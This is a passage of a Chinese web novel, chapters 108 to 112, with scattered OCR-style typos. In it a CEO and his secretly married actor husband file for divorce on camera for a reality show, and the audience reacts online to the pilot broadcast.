这则声明不仅澄清了此前的误会,还坦言自家法务团队不差钱不怕事,会全方面为自家艺人维权,若有不实言论,尽早删除。 当天,又一词条被引爆。 #你好,@谢景和# 不得不说,裴悦的营销手段真的很有一套,与几方合作共赢,替公司新签约的艺,人扫清了过往的潜规则舆论,还帮他虐了一波粉,主要是给自家公司树立了正面形象。 毕竟在娱乐圈混,不管是艺人还是公司,都需要一个不错的形象,才能实现良性循环,从而利益最大化。 "老大。 “你这么夸我,我有点害怕。 还是这间办公室。 还是风轻云净的晴朗天气。 但时间已经来到了十二月末尾。铜城又降温了,冬日气息更重,连日光都显得苍冷惨白,莫名透着几分寂寥裴悦仍旧坐在办公室的待客沙发上,做乎被这天气冻得不轻,她忍不住轻轻嘶了一声,又道:“要说有一套,还是老大你更有一套吧?那些料都是你给的,况且我人脉再广,也广不型谢景和的粉头身上啊。说完,她意味深长地砸吧了一下,边挑着眉,边好奇问道:“话说起来,你是怎么让谢景和的粉" 咔嗒一声。咖啡杯不轻不重地撞到桌面上,截断了女人未完的话时蔺川端坐在老板椅上,隔着一张桌子,与沙发上的女人对视了一眼,淡声道:“很闲?手上没工作了?闻言,裴悦脸上的表情顿时僵了。她自认是个不折不扣的工作狂,为了工作能百分之百拼命,但在时蔺川这个高精尖卷王面前,她的事业心大概要打个折扣。 打骨折的那种。裴悦视线下移,瞥向那张黑沉沉的桌子。跟男人初来的那天不同,原本空荡荡的桌面上摆了许多文件,男人将其按照''已批阅’和“未批阅”分成一左一右两摞 ''已批阅’的那摞明显高出一大截。 除了文件,就是咖啡杯,以及摆在桌角的小小日历。她又瞥了一眼玻璃墙外的天空,确认太阳悬挂的位置没有出错,随即叹了口气,道:“老大,现在也才上午九点多啊,你该不会又晚上不睡觉工作吧?我怎么不知道我们公司的工作量这么大?这么急?她一个大喘气,继续道:“你来的那天,公司大群还好奇你的长相和来历,现在一个月过去,底下人都偷摸喊你''大魔王呢,群里都爱名开盘请愿,让你从哪儿来,回哪儿去男人的面前摊着一份文件。他低头浏览,平静应道:“那个匿名群的群主不就是你吗。嗝归刷。钢笔笔尖擦过纸面,发出独特的声响。时蔺川合上批阅过的文件,拾眸道:“还有,我不只有这一家娱乐公司,除了NO1的事情,我还需要打理别的产业,不然你以为当初我转给你的起始资金是从哪里来的?"裴悦被凡尔赛了一脸,但并不羡慕嫉妒恨 她没活够,还不想猝死。紧接着,她又听到男人问,“综艺马上要开录了,宣传力度给到位了吗?现在热度怎么样?"裴悦想也不想,张嘴汇报道:“放心,早就放消息出去了,正式预热将近一个月,直播频道的订阅人数也一直在上升….现在已经有不少小明星来蹭流量了。时蔺川点了点头,示意自己知道了。办公室里静默了几秒。裴悦忽然道:"直实参演嘉宾的信息藏得很紧,暂时没人把综艺跟他联系在一起,不过根据目前的奥论风向看,就算他出现在综艺的先导片里,粉丝的情绪估计也不会太大。"毕竟是离婚综艺嘛。”时蔺川有一个很明显的小动作。他格外喜欢转笔。 裴悦猜测这可能是对方思考时的贯有动作。 尽管她全程没提到某个人的名字,但话音刚落的那一秒,就见男人手中转动的钢笔骤然停滞下来,不上不下地卡在修长骨感的指间,数秒后才重新转动起来 半晌。男人简单地嗯了一声。裴悦顿觉胃痛,实在没忍住旧事重提:“老大,你到底是个什么打算啊?早知道你们会闹得这么僵,我那天怎么都不会给你打配合的!…….总觉得亏心。要是再有这种事,千万别再找我了!闻言,时蔺川笑了笑, “你放心,不会再有这种需求了。 裴悦闲话没说几句,又被男人扯回工作上,聊得脑子嗡嗡响,人生第一次发现自己这么讨厌工作。她站起身往外走,推着门,倏然转过身来,提醒了一句 “老大,你黑眼圈有点重,实在不行还是去休息室里躺一会儿吧,我是真怕下次再进办公室,发现你不喘气儿了.” 时蔺川听到了,但不为所动。 直至日头西移,惨白的日光披上了一层鎏金的纱,将半片天空晒得发红发烫,他才抬手捏了提眉心,然后将桌面上的文件腾挪开来,就这么趴在桌上眯了一会儿。 时蔺川阖着眼,好似又嗅到了那股淡淡的血腥味。 铁锈一般,挥之不去。 这股气味像是记号,让他不由自主地想起那天的情景 那天,谢景和忍了又忍、藏了又藏的情绪被他尽数逼了出来,仿佛走到了未路穷途,扯着自己的领子嘶吼质问,额角和颈侧的青筋都鼓了起来,整张脸都是红的。 他怒极了,也痛极了。 听着自己放肆无遮掩的笑声,谢景和红着眼拟起拳,却又像是想起了什么,浑身一震,然后猛地推开了他,又将桌上的文件撕了个粉碎,还不解气地捶了几拳桌子。 桌子没事,他的手出血了。 两人不欢而散。时蔺川当晚没有回去,直接住在了办公室里。而那人也再没有给他发过信息 至此,已经快要一个月了。 困意袭来,疲倦也袭来, 时蔺川却莫名感到一阵轻松。 很快,他嗅着早就不该存在的血腥味,缓缓进入了梦乡。 梦里什么都没有,谢景和没有来。 还好。 还好他没有来。 桌角,日历翻到十二月份这一页。 有一个日期被红笔圈了起来。 109、Chapter 109 12月21日,冬至。 在这样的季节里,太阳无师自通地学会了偷懒,晨光亮得一日比一日晚,直至早晨七八点,浅金色的光线才挣破了浓厚的铅云,照在街边梧桐树的秃枝上今天是个特殊的日子。 由NO1买下版权并全额投资的一档离婚综艺《你为什么不开心》正式开拍这档综艺筹备多时,已经宣传炒作了一个月之久,再加上“全程直播明星的感情生活’这一强有力的噱头,导致节目未播先红,全网关注的人不在少数 节日组压力山大。 比起录播,直播的形式更加不可控,需要整个团队的全情投入,力保每一个部门都顺利运转,才能保障直播过程不出错,给观众带来最真实的沉浸式观看体验。 这无疑是个巨大的挑战。 好在今天并不是开启直播的日子。 然而,这日的行程依旧非常紧张。 整个节目组分成了三个队伍,提前前往三个不同的城市,录制三组嘉宾前往民政局办理离婚于续的先导片。 上午录完,下午剪辑,晚上八点就播出。听起来跟打仗一样。但比起后续长达一个月的直播过程,录制先导片这一工作似乎也没那么可怕了。起码还预留了剪辑的时间。…真是谢天谢地。陈西是节日组的跟拍导演之一按照婚龄的长短,三对离婚嘉宾有着不同的代称。而陈西与另一位跟拍导演恰好负责其中被命名为''午时’的离婚嘉宾的拍摄工作。由于这对离婚嘉宾目前处于分居状态,所以他跟那位跟拍导演分开行动,带着各自的队伍前往嘉宾的住所,提前做好拍摄准备后,再将人带往民政局。 车子匀速行驶。手机屏幕打横,显示着实时导航地图,路线有些曲折回转,直指最终目的地.铜城新科文娱产业园。陈西坐在车里,忍不住低头看了眼手里的台本,几张纸打印着今天的行程,旁边的空白部分被他密密麻麻地写满了注意事项,但凌乱的字迹刻意避开了最上端那行字。【午时嘉宾:素人时蔺川/演员谢景和】陈西:"."不管看几次,还是会感到震惊。其一,影帝隐婚三年。其二,他的隐婚对象居然是NO1的老板。联想到近一月的种种热搜消息.….别说观众好奇,作为节目组的小负责人之一,陈西也忍不住在脑子里七想八想的,像是有个钩子在他心上来回蹭。 他轻轻呼出一口气,心潮澎湃。不管怎么说,节目的热度肯定是不愁了!当导航显示即将抵达目的地之际,他拍了拍掌,见车内其他人都朝自己看了过来,半是鼓劲半是提醒道:“马上开拍了,都清醒点,再确认一下机器的状态。” 他重新cue了一遍流程。 "小何已经提前跟嘉宾确认过了,对方不需要我们负责妆造,所以待会儿直接拍嘉宾出场,对方会上我们的车,在车内接受采访,最后两位离婚嘉宾会在民政局门口汇合 “都清楚了吧?” 这档综艺主打''真实 因此节目组没有准备专门的拍摄场地进行采访,而是选择在路上进行,借此拉近距离感,以及营造嘉宾碰面前的紧张感 八点半。 随着 道''导航结束”的电子音,节目组的车停在大楼前,而后扛着摄像机的跟拍师依次就位,陈西神情一凛,火速进入工作状态,冲留在车内的助理打了个手势。 助理点点头,用手机发送通知。 时蔺川醒得很早。 天不亮,他就持着一杯咖啡坐到了办公桌前,用笔记本电脑进行线上办公。电子光在他脸上割出交界线分明的阴影,整个空间除了他的呼吸声,就是岛标时不时响起的咔嗒脆响 桌面很干净。 只有笔记本电脑及配件、咖啡杯、手机 台历已经失去作用,被他毫不留情地扫到了垃圾桶里。 今天跟平时没什么不同,只不过多了项需要出差一个月的工作。 时蔺川从接电话到挂电话,只花了半分钟的时间,紧接着他又花了半分钟关电脑,一手抄起手机,另一手拎着披在椅背的外套,径直往电梯口走去。 楼下。 摄像头拍到的,就是这样一幅画面男人一身西装革履地从商业大楼里走出来,行动丝毫不拖泥带水,正随意地拾着一只手整理衣领,布料勾勒出身体线条,颀长劲瘦。同时,黑色大衣在他身后甩出一道利落的弧度。男人约莫三十出头,五官很英挺,却透着锋利和冷峻的味道,脸上那副无边框眼镜又给他添了几分疑似斯文败类的气质。很帅。 是那种散发着成熟男人气度的渣帅。 尤其是当他那双狭长眼朝镜头警过来的时候 站在跟拍师后头的陈西心脏猛地一跳。 他从业多年,参与过大大小小综艺录制,见过的高颜值艺人不下三位数,但此时仍旧忍不住暗暗咂舌 这长相,这气质 不混娱乐圈真是可惜了啊。 只是一想到对方的身份,这想法转眼烟消云散。 混什么娱乐圈? 综艺要是爆了,最赚的还是这位主儿啊。 严格来说,这位素人’还是他们整个节目组的顶头老板呢。 想到这儿,陈西收敛心神,投入工作。 时蔺川不知道在场的工作人员都想了什么,按照节目组事前交代的拍摄要点,他从善如流地无视跟拍镜头,坐上车,任由工作人员替自己安装收音设备。 很快,车子重新启动,进入了采访环节。 三组嘉宾,六个人。 无论嘉宾是否分居,去往民政局的路都是分开单独走的,在车上必须回答节目组拟定的数个问题。 时蔺川也迎来了这一遭。 他坐在车后座,忽略身旁的跟拍师与车内的固定摄像头,对方问一句,自己就答一句,过程中没有一丝丝迟疑,干脆果决,透着行云流水般的从容。 时蔺川看过企划案,知道这段采访会在某个时机播放给伴侣看,但他仍然无所顾忌,并十分期待谢景和会给出什么样的答案九点出头。 车子驶过红绿灯,右转,缓慢停靠在一个小广场前。 广场后头,是一栋四四方方的灰白色建筑,顶上竖着一排硕大的红色大字牌,赫然就是“铜城民政局''时蔺川随于降下车窗。冬日寒风,呼啦一下灌进来。气象台早在数天前就发出预警,说是铜城进入了当季的第二次大降温,近一周内极有可能迎来雨夹雪天气.隔了老远,他看到小广场的一角站了几个人,其中一个人裹得很严实,身上那件似乎吹满了气的白色短款棉袄很瞩目,领子两边还分别缀着毛绒雪球,背上的黑色双肩包也是鼓鼓的尽管那人戴了帽子和口罩,时蔺川还是一眼认出来了。那是谢景和。 那个傻子,低着脑袋,踢石头玩儿呢。天穹像是被橡皮擦蹭掉了颜色,看上去有些暗沉沉的,跟斑驳的灰云连成一片,边界糊不清他身上的白棉袄像是掺了荧光剂,会发光。 110、Chapter 110. 谢景和看起来到了有一会儿了。时蔺川将视线放远,望见小广场对面停靠着另一辆属于节目组的同型号车子。过长的车身将后方的保姆车遮住大半,但他仍旧清晰地看到乐言的脸从车窗里探出来,秀气的眉紧皱着,神情紧张目担忧被她注视的人始终低着头,鞋尖戳着地上的一粒小石子滚来滚去。时蔺川平静地收回视线,下了车。 车门被他随手合上,发出砰的一声轻响。 跟男人一同坐在后座,还没来得及下车的跟拍师:“… 天很冷。 风舌肆无忌惮地舔了上来,攻势猛烈得似乎要将人身上的衣服统统剥掉,回旋拉扯之间吹出鸣呜的低音,像是宣战. 时蔺川恰好站在迎风口,颊侧的眼镜链晃个不停。他顺手推了一下有些下滑的眼镜,抬腿朝站在小广场柱子底下的那个人走去。 按照节目组既定的流程,两人该汇合了。 这段距离不长不短,约莫十五米。 可时蔺川刚走到半途,那阵盘旋不去的烈风又鼓足了劲儿,猛地吹了过来一他没什么事,步子流畅不停顿,但有一只透明的风之手调皮地掀掉了某人的帽子,在半空中地举了两下,啪的一下摔到他跟前牛仔蓝的渔夫帽躺在地上,仿若一只搁浅在水泥地的水母,无力地摆动了一下边沿,就再也不动弹了。那个侧身而站的人终于反应过来,他先是茫然抬手,摸了摸自己的脑袋,然后慢半拍地,顺着风向望过来这一望,动作就定格了。谢景和全程像个木头人一样,愣得不行。此时此刻。两人面对面站着,距离不超过一米尽管跟馥光娱乐的合约已经顺利了结,但双方以及第三方仍存在一些“历史遗留问题”。碍于不可抗力因素,谢景和前阵子抽空拍了个广告,应品牌方的要求,他将头发染成了深栗色,还烫了卷儿。弧度并不夸张,是很自然的微卷,发梢微微翘起来。他这身私服打扮很休闲,搭配以白蓝为主,黑色点缀,看起来很保暖也很学生气,看着尤其年轻,不像是个翻过年就二十八岁的人。倒像个大学生。时蔺川比谢景和高了几公分,西装革履,一副社会精英的打扮,气质冷峻成熟,看起来跟他今天的风格迴然不同,很不搭调。广场上风声依旧,但没人说话。 时蔺川从容不追地弯腰,将地上那页渔夫帽捡起来,顺势掸了两下灰尘,期间他脚步不停,掸完灰正好在帽子主人身前站定,便自然而然地把帽子扣了回去,遮住了那双怔忪的眼。 其实周遭并不寂寞,远远近近架了好几台摄像机,但除非必要,节目组不会贸然开口打扰嘉宾,反而更希望嘉宾能在镜头前自在一些,保持最真实的状态 谢景和习惯了镜头,白然没问题。 M-n 而时蔺川习惯了忽略身边不重要的动响,更没有问题了。 严格来说,两人也算''久别重逢’了。 只是谢景和本人从未出现过。 这还是三年里的头一回。谢景和非常黏人,以往出门拍戏或参加长期活动的时候,每天都要给他打电话发信息,睡前还要打视频,聊得手机发烫了也不舍得挂断。时蔺川迫不得已,只能等到他在视频那头睡着了,再挂断通话。有时候,他会在吃饭的空档给自己打视频,假装自己正在吃播,一个人对着镜头就能说好几斤的话,然后口干舌燥地猛灌水 而现在。 两人在冷风里站了好几分钟,谢景和还一个字都没说。他微微垂首,渔大帽遮住了上半张脸,鼻子和嘴巴又被口罩掩起来,整张脸都藏得严严实实 时蔺川盯着帽子上的水洗纹路,主动打了声招呼。 好久不见了。" 说话的语气风轻云淡,格外从容。 话音刚落。 谢景和果然有了反应。 他沉默着,一把薅下被男人捡回来的帽子,反手塞到身后双肩包的侧边口袋里。没了帽子的压制,那头微卷发被风吹得凌乱极了,发梢张牙舞爪地竖起来,好似刺猬的武装。 但时蔺川知道,那摸起来一定是软的。说不准比他领口那两颗毛绒球还柔顺.时蔺川的视线随着他的手部动作飞快下移,又不着声色地转回对方的脸上,继续道:“在这里站这么久,还摘帽子.….你就不怕被路人认出来?现在还没到公开身份的时候。这话听起来似在找茬。除了最开始对望那一眼,谢景和始终低着头,闻言,他偏过脸,忽而大步往民政局大门走去,说话声散在风里“那走吧,你不是想离么” 听着有点哑。 时蔺川身高腿长,一点也不费力地跟了上去。他两手空空,单手插在大衣兜里,另一手垂落身侧,关节冻得有些泛红。 他跟谢景和并肩而行,嘴巴不饶人地反问道:“难道你不想吗?老实说,裴悦把签好的合同带给我的时候,我还忍不住惊讶了一秒呢。 他顿了顿,悠哉悠哉地补充道: "还以为你又把合同撕了。 谢景和没吭声,脚步加快。 时蔺川的步子也迈得更大。 他先是重重地啧了一声,被收音设备如实记录下来——当然了,他并不在意这种小事,然后不咸不淡地质问了一句,“你对现任老板就这个态度?谢景和闷着头,默默加速:“"“.”于是,扛着摄像机的跟拍师静默地瞧着这两个人宛如竞赛一般,逆着风走得飞快,并且越走越快,最后就差跑起来了。摄像头全程跟着两人走,将影像刻入储存卡中。 跟拍师:“ 有、有这么迫不及待吗? 时蔺川不是第一次来民政局,甚至上次跟他一起来的人仍是身边这个。当时是大夏天,天气炎热难耐,谢景和像个怪人,从头到脚都包得很严实,只露出一双眯成新月的眼睛。他走两步,就要停一下,然后抱着时蔺川的胳膊,小声嘀咕:“我好紧张,老公你摸摸我的手,是不是出了好多汗?"自从时蔺川跟他求婚之后,他喊老公’的频率便直线上升,甚至没什么事的时候,也要没头没尾地喊一声,估计是谢景和那天的穿着太奇葩了,所以时蔺川清楚地记得,那时候自己抱着人,压不住笑地凑到他耳边,轻声说: "….你这是热过头了。"说完,他还用手背替人擦了擦鬓边细密的汗。谢景和微微仰着脸,任他动作,眼睛睁得有些圆,还下意识地屏住呼吸,等男人收回手他才长呼出一口气,并熟练地吟唱那一句早就不知道说了第几遍的废话“蔺川,你对我真好。两人就这么走走停停,一小段路走了许久。 但今天不一样。 两人几乎是风一样地冲到了民政局的大门口。 玻璃门有所感应,呼啦一下往两边撤开,仿佛正热情地朝两人张开怀抱,大喊“欢迎光临”,谢景和却下意识地脚步放缓,两只手不自觉地扣住双肩包垂落下来的带子。 下一秒。 他目视前方,眼神里有股说不出的涩意。 时蔺川白然留意到了。 他完全不在乎自己在摄像头底下会呈现什么样的形象,正要张嘴随便讥讽两句,顺着谢景和视线一道管过去的目光却触碰到了什么.… 原本要说的话也卡了壳。 从大厅里迎面走出来的,明显是一对刚注册结婚的新人伴侣。 两人穿着白衬衫,外面套了厚衣服,手上的小红本格外瞩目。往外走时,两颗脑袋紧挨在一起,脸上是如出一辙的甜蜜笑容。 四人在大门口狭路相逢。 明明路很宽敞,谁也挤不到谁,但谢景和还是往旁边让了让。不知道是不是刚才被时藏川提醒了一嘴''小心被路人认出来”,所以他低下了脑袋,还给手扰拉了两下被风吹乱的颜发,神情隐蔽。 时蔺川莫名不爽。 MX浙八不厂,以八安广早末受作十早正 幸好再没撞见人。 对此,两人倒也不是太意外。 民政局早晨八点准时开门,如今差不多九点半,厅里人不多,大概是因为近些年政府机构提倡智慧办公,推出了线上申请于续或预约排队功能,减少了民众的时间成本 当然不止这一个原因。 更是因为现代社会结婚率连年下降,离婚率却攀升。年轻人越来越不爱结婚了,再加上心里对结婚离婚的仪式感也随之降低,转为线上登记的人不少。既然要录制综艺,为求节目效果,节目组自然不可能让嘉宾简单地线上申请离婚了,但为了减少录制的时间成本,节目组叮嘱嘉宾提前预约了今天的排队号码,。要尽可能地保留剪辑时间!因此,在有预约的情况下,两人很顺利地进入了离婚窗口。与其说是窗口,倒不如说是一间保障隐私的独立办公室。只是现在屋里的情况,看起来不是特别“隐私''好在节目组提前跟管理人交涉过,所以拍摄正常进行。办公室内。两位离婚嘉宾坐在柜台前,中间隔着一个身位。 时蔺川两手空空,大衣兜里只放着一台手机。谢景和就不一样了,全副武装还背了包。 进屋后,他先将口罩取了下来,对折后,同样塞到背包侧兜里。 时蔺川百无聊赖地扫了他一眼,发现自己的视力果然有所好转。 谢景和确实是真瘦了,下巴尖了一点。或许是棉袄过于蓬松,衬得他那条颈子格外细长,更显得瘦,似乎一只手就握得住, 紧接着,他把双肩包转移到大腿上,嘶啦一声拉开了拉链,把提前整理好的东西一样样往外拿,放在柜台上。 一本户口本、两本崭新的结婚证、以及他自己和时蔺川的身份证等等所需证件 这些东西保存得都很好。当初收到结婚证之后,谢景和还专门买了一个数万元的保险柜存放证件,生怕不小心弄丢了,或者被人偷了保险柜密码就是两人的结婚日期。最后,谢景和从包里翻出一个文件袋。A4打印纸一式三份,标题醒目。 《离婚协议书》 这是先导片的重头戏,记录嘉宾们签署离婚协议书的过程, 按照保密协议,节目组会避开文件里涉及隐私的具体内容,只拍摄嘉宾签署姓名的那一页。而两位嘉宾在签字之前,需要面对着面,冲伴侣发表一通离婚感言搞出这个策划案的人确实很天才。知道观众想看什么。时蔺川转过身,跟谢景和久违地四目相对。尽管两把旋转单人椅之间隔着一个身位,但他们两个都是一米八或以上的高大男人,腰腿比例也很惊人,膝盖不可避免地撞到了一起。刚一碰到,谢景和就将自己的膝盖挪开了。时蔺川没什么风度,见对面那人规规矩矩的,直接摆出一个大马金刀的坐姿,一条腿更是往前杵,强行霸占两人之间为数不多的空间,还刻意奉送了一抹挑衅的笑。谢景和的表情却平静极了,看着一点也不生气,眼眶也没红,仿佛之前在小广场汇合时流露出来的怔忪失神!….只是时蔺川的错觉。此时。他抱着包,手指藏在袖子里。 好一阵寂静。 没人先开口说话。 谢景和今天就跟吞了哑药似的,节目组分明说了要双方互相对视发表感言,他却偷摸着将视线下移,盯着自己的下巴.… 于是,时蔺川有理有据地提出自己的不满,“我的下巴开花了还是写字了?节目组说了要对视,你作为艺人能不能专业点? 过了十几秒。 111、Chapter 111 ... 冬至, 恰逢周六休息日。 季节性的大降温席卷了全国,部分地区已经下起鹅毛大雪。严寒之下,许多人懒得出门,干脆穿着足够保暖的睡衣在家躺一天,全程手机不离身,流连于网络世界中。 小小一个方块,真是其乐无穷。 陈小可便是''休假家里躺’队伍里的一员。 她今年刚毕业,学的是新媒体专业,如今就业太困难,在家里亲威的推荐下才进了一家还不错的地方电视台当实习生,表哥陈西很有能力,年纪轻轻就参与制作了好几档火爆综艺思及此处,陈小可随手点进表哥的朋友圈,发现他在今早六点发了一条内容为出发吧,新的开始’的励志句子,配图是一张随手拍的天空 蓝幕暗沉,云絮陈旧日。 梧桐树的枯枝从照片边角探进来。 然而,此刻。 屋外的天已经变成了一片浓郁的墨色海域 星星溺亡,月亮只露出弯弯一角,皎柔的光星溢出少许,看上去很微弱。 天黑了。 手机屏幕显示:7点55分。再过五分钟,就是某档离婚综艺播出先导片的时间了。离婚综艺名为《你为什么不开心》,微博官号只创立了一个月便积累了三百多万粉丝关注,时不时放出一些云里雾里的嘉宾讯息,勾得网友们满心好奇。于是,被勾得抓心挠肝的网友们忍不住跑到圈内公开了婚姻关系的明星微博底下求证问询 “哈喽,是你吗?此举的''受害者’颇多,引得一位大妻恩爱多年的知名大导亲自发博回应道:“抱歉,不是我。紧接着,被网友问询的一干已婚明星也半是澄清半是玩笑地转发了这条博文,顿时引爆了一则热搜#抱歉,不是我#热搜底下,网友全在笑哈哈. 当然,其中不乏一些蹭热度的小明星,主动发了些言辞暖昧的小作文,似乎在认领嘉宾身份,被网友问到了也不否认.…节目组实在太会营销,公然跟网友玩起了解密拼图游戏,甚至爆出其中一对嘉宾此前没有公开过婚姻关系。 得到这块拼图的网友当即哗然沸腾了。 好家伙。 翻译-下:这不就是隐婚? 公开即离婚,到底是哪个明星敢玩这么大? 不怕塌房? 毫无疑问的是,这档综艺确实未播先红了,网上关于它的讨论度极高,奈何节目组的保密工作太过到位,只有先导片播出后,观众才能知晓三对离婚嘉宾的真实身份。 7点59分。 微博超话广场里的帖子和实时回复的数量呈指数型飙升,还有手速快的网友开数倒计时。 二 三、- 1 这一秒。 无数人举着手机,按下了大拇指。 阵钢琴乐声导入。屏幕画面被竖线分割成三个部分,填充着不同时段的空镜头,依次为日出、午时、黄昏,而每一幕空镜头的前景分别浮现纯黑的双人轮廓剪影,象征着离婚嘉宾的身份。这时,画面中出现了一个鼠标箭头。箭头缓慢移动到日出画幅,落在那轮初升的红日上,与此同时,手机听筒传出一声格外清脆的咔嗒声,画面跳转,揭露了这组嘉宾的身份。段非文,编剧,在圈内算是小有名气,出身于书香门第许悠,Yancy,原本是地下摇滚歌手,去年参加了一档音综转为地上,成功签约经纪公司,直升二线.先导片中,交代了两人的婚恋过程。 他们两个算是闪婚闪离,婚前对彼此的性格、生活习惯、以及家庭背景没有充分的了解,为此出了不少矛盾,双方都不肯迁就改变,所以结婚才六个月就闹到了离婚的地步编剧看着文质彬彬,歌手言行举止皆是狂野浪荡,偏偏在民政局签署离婚协议书时都红了眼眶,一下子就勾住了网友的心。【哇是Yancy啊,没想到已经结婚了!】【就是隐婚那对?】【不是吧,Vancy搞摇滚的,早就在粉丝群公开了,还晒过对方的照片,好像因为这件事还跟对方闹了矛盾,事后他把照片删了。】【节目组策划真他。的天才,十二月底让嘉宾登记离婚,一个月冷静期之后就是农历春节了,好家伙,要么一拍两散,要么一起回家过年是吧?好歹毒的心.肠]【但很刺激。】 【之后是直播,更刺激了。】 【】 在弹幕的议论中,首组嘉宾的片段结束,视频画面返回最初的那一幕,鼠标箭头再次出现,慢悠悠地移到了中间那轮正当午的曜日上,就当观众以为它会点下去的时候 这组嘉宾很有来头。 男方五十多岁,是演员行当的大前辈,程说行女方邵琳与他年龄相仿,亦是自身行业的佼佼者,在戏曲方面无人能及,如今被返聘为大学教授,桃李满园。两人年少相识,恋爱多年。尽管结婚比较晚,但算下来也有十六年了,只是始终没有生育孩子,离婚的契机也在此签完离婚协议书,两人皆是怅然无言。【不是,这对也要离???】【我爸是戏曲爱好者,邵琳粉丝,我这就喊他过来一起看!】【好巧,我妈是程叔粉丝,当年他是内娱第一奶油小生,我妈超级迷程叔的,我也喊她一起看!】 【你们真的好孝】【破案了,看来隐婚的就是刚才跳过的那一组了,卖关子是吧?溜了网友一个月还不够是吧?节目组策划你真该加鸡腿呀![咬牙切齿]】 【掺一把巴豆。】 【塞一把刀子。】 【不知道,这人是不打算在圈里混了吗?光是被曝隐婚就够喝一壶的了,不挑个好时机公开,好好安抚粉丝就算了,居然还直接上离婚综艺,我敬这人是条汉子[大拇指】 【.….所以,到底是谁啊?!】 【乐,直接上离婚综艺未尝不是个好时机。】 【离了好呀,离了过个好年!】 ( 先导片的总时长约莫九十分钟,每组嘉宾的时长相差无几,因此当进度条走到三分之二的时候,唯一隐藏着真实身份的双人剪影终于露出了真容 视频的开场,是一栋带有明显标识的建筑大楼。 [NO1 【不是,怎么是这儿啊??】 【我有墙头是NO1旗下的艺人,现在整个愣住。】 【好慌,如果等下自担从楼里走出来,我会哭的.】! 【你担是谁啊?】 【当然是景和和,我是蟹粉酥!】 【哦,影帝啊,我喜欢他的戏。】 【应亥不会是影帝的,他近几年的战绩超级强,保持每年一部精品剧或电影,不管是打票房能力还是演技都是一等一的稳,而且他很少参加综艺,飞行嘉宾的次数都很少,更别说直播真人秀,了.】 【他有说过,录综艺跟拍戏差别很大,不自在。】 【是呀,所以不可能是景和和的】 【同担,姐妹。我也觉得不可能是谢哥的!】 【】 【万一呢?】 【啊啊啊啊啊,又出去!绝对不可能!】 幸而网友的预言没有成真。 随着镜头拉近,画面切了个近景 哒。哒。哒- 双皮鞋率先入了镜,镜头逐渐上移,拉远,却仍然塞不下那双包裹在西装裤内的大长腿,长款双排扣风衣的剪裁格外流畅,因走动的姿势而划出凛然的弧线 两三秒后。 镜头终于推到了男人的肩部以上。 同时间,他的脸旁多了一个小框,里面填写着简短的身份信息。 【素人/NO1职员/时蔺川】 外头的天色很暗淡。 男人走出玻璃大门,超出了楼内顶灯的照明范围,面容顿时陷入朦胧阴影中,整个人却被身后的灯光勾勒出强烈的线条。 下一瞬。他不经意朝镜头的方向望了过来,眼镜片飞快晃过一道白光,链条不停闪闪烁烁,然而观众的注意力全然陷入了那双狭长眼中,里头荡满了生人勿近的冷感,莫名让人.…【卧槽,这他o的是素人?我都想跪下叫爸爸了!】 【主人级别,雄性中的雄性】 【有种见到老板的感觉,菊花一紧。】 【车内采访开始了。】 【靠NO1职员,职位CEO,这不就是老板嘛!!我就说我的老板雷达从来没有出错过!所以我摸鱼从来没有被抓到过!】 【所以说,NO1旗下的艺人都有可能是他的另一半?】 【稍微回想了一下最近关于NO1和旗下艺人的新闻,所以说….那个,影帝 不会是景和和的,他才签约NO1多久?如果他隐婚的另一半是NO1老板,怎么可能上个月才跟垃圾馥光解约?这不合理! 【呼,逻辑链完整,安心了。】 镜头中,男人正在进行车内采访。 画面里只有他一个人。男人独自望着窗外风景,侧脸的线条流畅英挺,格外上相。节目组的画外音依次响起,他不假思索地启唇应答,嗓音冷冽“请问,时先生跟伴侣结婚多久了呢? “三年。 “是谁先开始这段缘分的呢? “我。" “那又是谁主动提出迈入人生的下一阶段呢?” “我” 中间还提了好几个问题,一个比一个扎心犀利。 而最后一个问题是: “时先生,如果伴侣能看到这段采访,你想对他说什么呢?" 话音刚落。 男人忽而扭头看向镜头,眉眼毫无波澜,声音的语调也是冷冰冰的,“说什么不重要,重要的是. 短暂的消音之后,男人的声音又响起来。 他轻轻唤出一个名字, 谢景和。" 下一秒,镜头骤切。 扇门被拉开。 一个人从门里走出来。 白棉袄,渔夫帽。 黑色口罩遮住下半张脸,只露出一双极有辨识度的深情眼。 112、Chapter 112 .. 当天晚上。 热搜如鞭炮一般噼里啪啦炸响。毕竟九十多分钟的先导片播完,也才九点半出头,这个点正是网上冲浪的高峰期,而节目组事前的营销工作吸引了大量流量,众网友对出席这档离婚综艺的嘉宾格外好奇。…然后就看到了谢景和的脸。作为出道多年的顶流,谢景和的微博粉丝破亿,不仅粉丝的年龄跨度,成分也很复杂:有从出道就关注他到现在的唯粉、铁血事业粉、梦向粉、路人粉、以及遍地开花的CP粉等等。换句话说,谢景和的关注度非常高。当他的脸出现在视频中的那一瞬,弹幕霎时卡顿,过了好几秒才宛如大军过境一般齐剧刷地涌现,密密麻麻的感叹号堆罍起来,遍住了画面中的人脸,观众只听到节目组的画外音招呼道“谢老师,您好。"有些粉丝悬着的心,终于是死了。没几分钟,数个词条空降微博热搜排行榜,正以风驰电掣的速度往前排冲刺,成群结队,来势汹汹,身后都跟着鲜红的[HOT标识。 #谢景和隐婚# #离婚综艺谢景和# #谢景和塌房# #时蔺川 NO1# #邴均麿原喺芯来童话是真的# #求你了,放过那个球吧# 其实另外两组嘉宾亦有可圈可点的地方,关注的人不在少数,也有了相关热搜词条,只是综合排名靠下一些,讨论,度暂时不及最后出场的压轴嘉宾。 这天晚上。先导片的播放量以秒读刷新,站外各个平台都出现了这档离婚综艺的名字,节目组的直播间关注人数飞速上涨,实现了正式开播之前积累千万关注的小目标,。节目组一举承包热搜榜,深藏功与名。谢景和的粉丝却彻底睡不看了。尽管同性婚烟法成立了二十来年,如今已被大众所接受,但按照人口基数而言,这一性向仍旧属于小众范围,更别说在娱乐圈这个造梦之地,当红明星的恋情本就是一项风险极大的不稳定因素且不论性向如何,光是隐婚这一点.….极短的时间内,谢景和的梦向粉和各方CP粉纷纷表示房子塌了,脱粉还是程度轻的,更有甚者还要回踩,站子的头像都黑了好几个。唯粉也很崩溃。谢景和的后援大粉群里,几个资深粉头相顾无言。 【. 【.】 【不要再刷省略号了,说话。】 